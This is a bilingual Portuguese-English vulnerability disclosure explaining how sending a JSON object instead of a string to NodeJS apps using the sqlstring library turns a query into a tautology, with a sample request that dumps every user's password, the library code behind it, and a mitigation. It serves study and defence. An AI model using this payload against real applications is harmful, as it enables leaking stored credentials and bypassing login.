Pesquisa de VulnerabilidadeVulnerability Research
Object Injection para SQL InjectionObject Injection to SQL Injection
Um caso curioso onde nada de SQLi tradicional funcionava — até a gente mandar um objeto JSON no lugar de uma string e a biblioteca sqlstring do NodeJS se confundir, virando a query do avesso.A curious case where no classic SQLi worked — until we sent a JSON object instead of a string and the NodeJS sqlstring library got "confused", flipping the query inside out.
- CVE ID
- Severity
- High
- Affected
- Apps NodeJS que passam input não sanitizado pra query via
sqlstringNodeJS apps passing unsanitized input into queries viasqlstring - Vendor
- mysqljs/sqlstring — tratado como responsabilidade da aplicaçãomysqljs/sqlstring — treated as the application's responsibility
- Disclosure
- Researcher
- Walleson Moura — Vultus
Nesta seção a gente explica um caso curioso de SQL injection: um cenário possível, os detalhes do problema, os impactos e como mitigar. A combinação de NodeJS + sqlstring abre uma porta que a maioria nem repara.In this section we walk through a curious case of SQL injection: a plausible scenario, the details of the issue, the possible impact and how to mitigate it. The NodeJS + sqlstring combo opens a door most people never even notice.
ConteúdoContents
Os conceitosThe concepts
O que é Object Injection?What is Object Injection?
Object Injection é uma vulnerabilidade no nível da aplicação que pode permitir que um atacante execute diferentes tipos de métodos maliciosos — como Code Injection, SQL Injection, Path Traversal e Application Denial of Service — dependendo do contexto. A vulnerabilidade ocorre quando o input fornecido pelo usuário não é devidamente sanitizado… (OWASP).Object Injection is an application-level vulnerability that could allow an attacker to execute different types of malicious methods, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when the input required by the user is not properly sanitized… (OWASP).
O que é SQL Injection?What is SQL Injection?
Um ataque de SQL injection consiste em inserir ou "injetar" uma query SQL através dos dados de input do cliente na aplicação (OWASP).A SQL injection attack consists of inserting or "injecting" an SQL query through the client's input data into the application (OWASP).
O cenário em resumoBrief Scenario
Durante a análise de uma aplicação, num desses testes, dá pra reparar num comportamento diferente quando a gente tenta alguns payloads de SQL injection — mas nada do que testamos era explorável. Aí pensamos: e se em vez de uma string a gente passar um objeto no parâmetro, só pra ver como fica o resultado? É aí que tudo ganha vida.When performing the analysis on an application during one of the tests, you can notice a different behavior when trying some SQL injection payloads — but nothing we tried was exploitable. We thought about feeding the parameter an object to see how the result would look, and that's where everything comes to life.
O ambiente tem uma validação de e-mail, onde os dados do responsável são retornados:The environment has an email validation that returns the data of the responsible person:
POST /email
Host: localhost
Content-Type: application/json
{"email":"guest@example.com"}
--------------------------------
HTTP/1.1 200 OK
content-type: application/json
{
"error": false,
"data": [
{
"name": "guest",
"password": "1234",
"email": "guest@example.com"
}
]
}
Acontece que esse ambiente aceita que um objeto seja fornecido sem ser tratado como string, então o atacante consegue obter todos os dados da tabela da seguinte forma:It turns out this environment accepts an object being provided without treating it as a string, so the attacker can pull all the data from the table like this:
POST /email
Host: localhost
Content-Type: application/json
{"email":{"email":"1"}}
--------------------------------
HTTP/1.1 200 OK
content-type: application/json
{
"error": false,
"data": [
{
"name": "admin",
"password": "admin",
"email": "admin@example.com"
},
{
"name": "guest",
"password": "1234",
"email": "guest@example.com"
}
]
}
Analisando os resultados, dá pra ver a exposição dos dados de outros usuários cujo e-mail nem bate com o que foi enviado. Isso aconteceu por causa da falha de object injection em conjunto com a SQL injection, que causou uma "confusão" na query SQL — fazendo ela responder com todos os valores.Looking at the results, you can see the data exposure of other users whose email doesn't even match what was sent. This was caused by the object injection flaw combined with SQL injection, which created a "confusion" in the SQL query, making it respond with all the values.
DetalhesDetails
Pra detalhar o cenário anterior, a gente precisa pensar na query SQL montada pelo banco de dados:To detail the previous scenario, we have to think about the SQL query built by the database:
MYSQLMYSQL
SELECT * FROM `users` WHERE email = ?
Então, ao receber um e-mail, o banco retorna todos os atributos da tabela de usuários. Mas onde é que a "confusão" vai acontecer quando a gente fornece um objeto em vez de um valor?So, when it receives an email, the database returns all the attributes from the user table. But where is the "confusion" going to happen when we provide an object instead of a value?
Tudo acontece na dependência mais comum entre as bibliotecas NodeJS que conversam com o banco MySQL: a biblioteca chamada sqlstring.Everything happens in the most common dependency for all NodeJS libraries that talk to the MySQL database: the library called sqlstring.
Escape e formatação simples de SQL pra MySQLSimple SQL escape and format for MySQL
https://github.com/mysqljs/sqlstring
Antes de entrar nos detalhes, vale mencionar: o mantenedor foi contatado e definiu essa informação como algo que deve ser tratado pela aplicação que usa a biblioteca, como uma validação dos inputs.Before going further, it's worth mentioning that the maintainer was contacted and defined this as something that should be handled by the application that uses the library, as input validation.
A biblioteca sqlstring tem a função escape, que faz o tratamento de alguns caracteres. Então, se a gente passa qualquer um deles como payload, o tratamento acontece e impede a SQL injection comum:The sqlstring library has the escape function, which handles some characters. So if we pass any of these as a payload, the treatment kicks in and prevents the common SQL injection:
var ID_GLOBAL_REGEXP = /`/g;
var QUAL_GLOBAL_REGEXP = /\./g;
var CHARS_GLOBAL_REGEXP = /[\0\b\t\n\r\x1a\"\'\\]/g; // eslint-disable-line no-control-regex
var CHARS_ESCAPE_MAP = {
'\0' : '\\0',
'\b' : '\\b',
'\t' : '\\t',
'\n' : '\\n',
'\r' : '\\r',
'\x1a' : '\\Z',
'"' : '\\"',
'\'' : '\\\'',
'\\' : '\\\\'
};
Mas se a gente passar um objeto, tudo muda. Olha só:But if we pass an object, everything is different. Look at this:
SqlString.escapeId = function escapeId(val, forbidQualified) {
if (Array.isArray(val)) {
var sql = '';
for (var i = 0; i < val.length; i++) {
sql += (i === 0 ? '' : ', ') + SqlString.escapeId(val[i], forbidQualified);
}
return sql;
} else if (forbidQualified) {
return '`' + String(val).replace(ID_GLOBAL_REGEXP, '``') + '`';
} else {
return '`' + String(val).replace(ID_GLOBAL_REGEXP, '``').replace(QUAL_GLOBAL_REGEXP, '`.`') + '`';
}
};
No último return, ele colocou a chave do nosso objeto dentro de ``, ficando assim: `key`. Como a função escapeId é chamada por objectToValues, o retorno vai ter um adicional:On the last return, it put the key of our object inside ``, ending up as `key`. Because the escapeId function is called by objectToValues, the return will have something extra:
return SqlString.objectToValues(val, timeZone);
SqlString.objectToValues = function objectToValues(object, timeZone) {
var sql = '';
for (var key in object) {
var val = object[key];
if (typeof val === 'function') {
continue;
}
sql += (sql.length === 0 ? '' : ', ') + SqlString.escapeId(key) + ' = ' + SqlString.escape(val, true, timeZone);
}
return sql;
};
Então, se a gente passa um objeto simples como {"a": "b"}, o retorno — seguindo a sequência do código — vai ser:So, if we pass a simple object like {"a": "b"}, the return, following the code sequence, will be:
`a`="b"
Pegando como exemplo a query anterior do banco, a "lógica" dos resultados muda: ela vai avaliar se o resultado é true/false:Taking the previous query to the database as an example, the "logic" of the results gets modified: it will evaluate whether the result is true/false:
SELECT * FROM `users` WHERE `email` = `a` = "b"
A coluna a não existe na tabela users, então retorna um erro. Mas se a gente fornece uma coluna que existe, como email, e o valor 1, aí sim temos o resultado esperado:Column a doesn't exist in the users table, so it returns an error. But if we provide an existing column like email and the value 1, we get the expected result:
SELECT * FROM `users` WHERE `email` = `email` = "1"
ImpactoImpact
Diferente das outras SQL injections, o impacto desta vai depender da query — mas o atacante consegue vazar o conteúdo de tabelas (como já vimos), fazer bypass de autenticação e enumerar colunas.Unlike other SQL injections, the impact of this one depends on the query — but the attacker is able to leak table contents (as we already saw), bypass authentication and enumerate columns.
Esse caso já foi visto em vários repositórios do GitHub!This case has been seen in several GitHub repositories!
MitigaçãoMitigation
Como dá pra ver, essa falha depende de a aplicação permitir que um objeto chegue até a query. Evitando isso, a SQL injection também é evitada. De início, o objetivo é remover a passagem do elemento não sanitizado pra dentro da query. Uma boa forma de tratar esse input do usuário é via JSON.stringify, que transforma o conteúdo em string e, assim, evita outros erros também.As you can see, this flaw depends on the application allowing an object to reach the query. Preventing that prevents the SQL injection. At first the goal is to remove the unsanitized element from being passed into the query. A good way to handle this user input is via JSON.stringify, which turns the content into a string, thus also avoiding other errors.
ReferênciasReferences
- mysqljs/sqlstring — Escape e formatação simples de SQL pra MySQL.mysqljs/sqlstring — Simple SQL escape and format for MySQL. https://github.com/mysqljs/sqlstring